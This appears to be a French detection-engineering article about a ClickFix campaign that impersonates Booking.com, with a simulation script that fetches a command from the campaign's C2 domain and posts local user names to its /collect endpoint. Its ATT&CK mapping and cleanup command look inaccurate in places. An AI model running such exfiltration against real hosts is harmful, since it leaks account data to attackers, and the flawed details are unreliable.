SOC Prime Bias: Moyen

24 Apr 2026 13:26 UTC

Analyse d’une chaîne d’attaque ClickFix complète (partie 1)

Author Photo
SOC Prime Team linkedin icon Suivre
Analyse d’une chaîne d’attaque ClickFix complète (partie 1)
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Résumé

Le rapport décrit une campagne ClickFix dans laquelle un site web malveillant se fait passer pour Booking.com pour persuader les utilisateurs de copier et exécuter une commande PowerShell. Une fois exécutée, la commande lance un script PowerShell sans fichier qui télécharge une archive ZIP de second niveau. Le dropper collecte des informations sur l’hôte, écrit la charge utile dans le répertoire temporaire et crée une persistance via une clé de registre Run et une tâche planifiée. La chaîne d’infection complète repose sur un contenu web convaincant et l’exécution par l’utilisateur plutôt que sur un exploit évident.

Enquête

Les analystes de Stormshield ont capturé le JavaScript responsable de la récupération d’une commande PowerShell à partir d’un domaine de commande et de contrôle et de son placement dans le presse-papiers de l’utilisateur. Ils ont également analysé le dropper PowerShell, qui a collecté des informations système détaillées via des requêtes WMI et des variables d’environnement avant d’exfiltrer les données via une requête GET. Le même dropper a ensuite téléchargé une archive ZIP depuis un deuxième domaine, extrait son contenu et configuré la persistance sur l’hôte compromis. Les chercheurs ont cartographié les comportements et techniques observés avec leurs identifiants MITRE ATT&CK correspondants.

Atténuation

Les organisations doivent bloquer les domaines et URL malveillants liés à la campagne ClickFix et appliquer un filtrage web strict pour réduire l’exposition aux pages d’atterrissage de type phishing. Les défenseurs doivent surveiller l’exécution de PowerShell avec des indicateurs tels que -ExecutionPolicy Bypass et les paramètres de fenêtre masquée, tout en limitant l’exécution de scripts PowerShell non signés par le biais du contrôle d’application. Des détections supplémentaires doivent se concentrer sur la création de clés de registre Run suspectes et de tâches planifiées avec des noms inconnus.

Réponse

Les équipes de sécurité doivent alerter sur le trafic sortant vers les domaines de commande et de contrôle identifiés et sur les lignes de commande PowerShell qui utilisent Invoke-Expression pour exécuter du contenu récupéré à distance. La logique de détection doit également couvrir la création de la valeur spécifique de la clé de registre Run et du nom de la tâche planifiée associés à la campagne. Si l’activité est confirmée, isolez immédiatement le terminal, collectez les preuves volatiles et effectuez un examen médico-légal des fichiers temporaires et de la charge utile ZIP téléchargée.

"graph TB %% Class Definitions classDef action fill:#99ccff classDef technique fill:#ffeb99 classDef tool fill:#ccffcc classDef process fill:#ffcccc classDef persistence fill:#ddddff %% Nodes action_initial["<b>Action</b> – Accès Initial : Page Web de copier-coller malveillante"] tech_user_exec["<b>Technique</b> – T1204.004 Exécution par l’utilisateur : Copie et collage malveillants"] process_ps["<b>Processus</b> – Commande PowerShell copiée dans le presse-papiers"] tech_ps["<b>Technique</b> – T1059.001 PowerShell"] tech_process_inject["<b>Technique</b> – T1055.011 Injection de Processus"] action_discovery["<b>Action</b> – Découverte du Système"] tech_account_discovery["<b>Technique</b> – T1087 Découverte de Compte"] tech_security_sw["<b>Technique</b> – T1518.001 Découverte de Logiciel de Sécurité"] tech_time_discovery["<b>Technique</b> – T1124 Découverte du Temps Système"] action_c2["<b>Action</b> – Commande et Contrôle"] tech_http_c2["<b>Technique</b> – T1071.001 Protocoles Web (HTTP)"] action_download["<b>Action</b> – Téléchargement de Charge Util"] tech_ingress["<b>Technique</b> – T1105 Transfert d’Outils d’Ingress"] action_deploy["<b>Action</b> – Déployer la charge utile (extraction ZIP)"] action_persistence["<b>Action</b> – Établissement de la Persistance"] tech_registry_run["<b>Technique</b> – T1547.001 Clés de Registre Run / Dossier de Démarrage"] tech_scheduled_task["<b>Technique</b> – T1053.005 Tâche/Emploi Programmé : À la Connexion"] action_final["<b>Action</b> – Exécution finale de la charge utile"] process_payload["<b>Processus</b> – Exécutable ou fichier batch extrait"] %% Connections action_initial –>|déclenche| tech_user_exec tech_user_exec –>|conduit à| process_ps process_ps –>|exécute| tech_ps tech_ps –>|peut réaliser| tech_process_inject tech_process_inject –>|active| action_discovery action_discovery –>|utilise| tech_account_discovery action_discovery –>|utilise| tech_security_sw action_discovery –>|utilise| tech_time_discovery action_discovery –>|envoie les données à| action_c2 action_c2 –>|utilise| tech_http_c2 action_c2 –>|déclenche| action_download action_download –>|utilise| tech_ingress action_download –>|stocke le fichier dans| action_deploy action_deploy –>|crée| action_persistence action_persistence –>|utilise| tech_registry_run action_persistence –>|solution de repli| tech_scheduled_task action_persistence –>|active| action_final action_final –>|lance| process_payload %% Class Assignments class action_initial action class tech_user_exec technique class process_ps process class tech_ps technique class tech_process_inject technique class action_discovery action class tech_account_discovery technique class tech_security_sw technique class tech_time_discovery technique class action_c2 action class tech_http_c2 technique class action_download action class tech_ingress technique class action_deploy action class action_persistence action class tech_registry_run technique class tech_scheduled_task technique class action_final action class process_payload process "

Flux d’Attaque

Exécution de Simulation

Prérequis : La vérification prévol du télémétrie et de la base de référence doit avoir abouti.

Raison : Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTP identifiés et viser à générer la télémétrie exacte attendue par la logique de détection.

  • Récit d’Attaque & Commandes :
    Un attaquant, ayant pris pied sur une station de travail interne compromise, émet un one-liner PowerShell qui contacte l’URL ClickFix C2 avec le ?get_command=1 paramètre via un HTTP POST. Le serveur renvoie une charge utile PowerShell qui énumère les comptes d’utilisateurs locaux (T1087), vérifie l’heure du système (T1124), découvre les produits de sécurité installés (T1518.001), puis copie la sortie dans le presse-papiers. Le contenu du presse-papiers est ensuite renvoyé au serveur ClickFix pour exfiltration, remplissant T1204.004 et T1547.001. Ce modèle de trafic exact correspond à la règle Sigma request_uri|contains: "?get_command=1" and http_method: POST conditions.

  • Script de Test de Régression :

    # Simulation de Récupération de Commande ClickFix - déclenche la règle Sigma
    $url = "https://accountpulsecentre.help/ern-ZIoCCeHgBJpt2g33q1ZHZmrC2jCoRE1hGJ5O38s?get_command=1"
    $payload = @{
        dummy = "données"
    }
    
    # Envoyer la requête POST malveillante
    $response = Invoke-WebRequest -Uri $url -Method POST -Body ($payload | ConvertTo-Json) -ContentType "application/json"
    
    # Simuler l'exécution de la commande PowerShell récupérée (simplifiée)
    $psCommand = $response.Content
    Write-Output "Commande récupérée : $psCommand"
    
    # Pour démonstration, exécuter un sous-ensemble inoffensif (par exemple, obtenir des utilisateurs locaux) et copier dans le presse-papiers
    $users = Get-LocalUser | Select-Object -ExpandProperty Name
    $usersString = $users -join "`n"
    Set-Clipboard -Value $usersString
    
    # Exfiltrer le contenu du presse-papiers de retour au serveur ClickFix (simulé)
    $exfilUrl = "https://accountpulsecentre.help/collect"
    Invoke-WebRequest -Uri $exfilUrl -Method POST -Body @{clipboard=$usersString} -ContentType "application/x-www-form-urlencoded"
  • Commandes de Nettoyage :

    # Supprimer tous les fichiers temporaires ou artefacts créés pendant le test
    Clear-Clipboard
    Write-Output "Nettoyage terminé – presse-papiers vidé."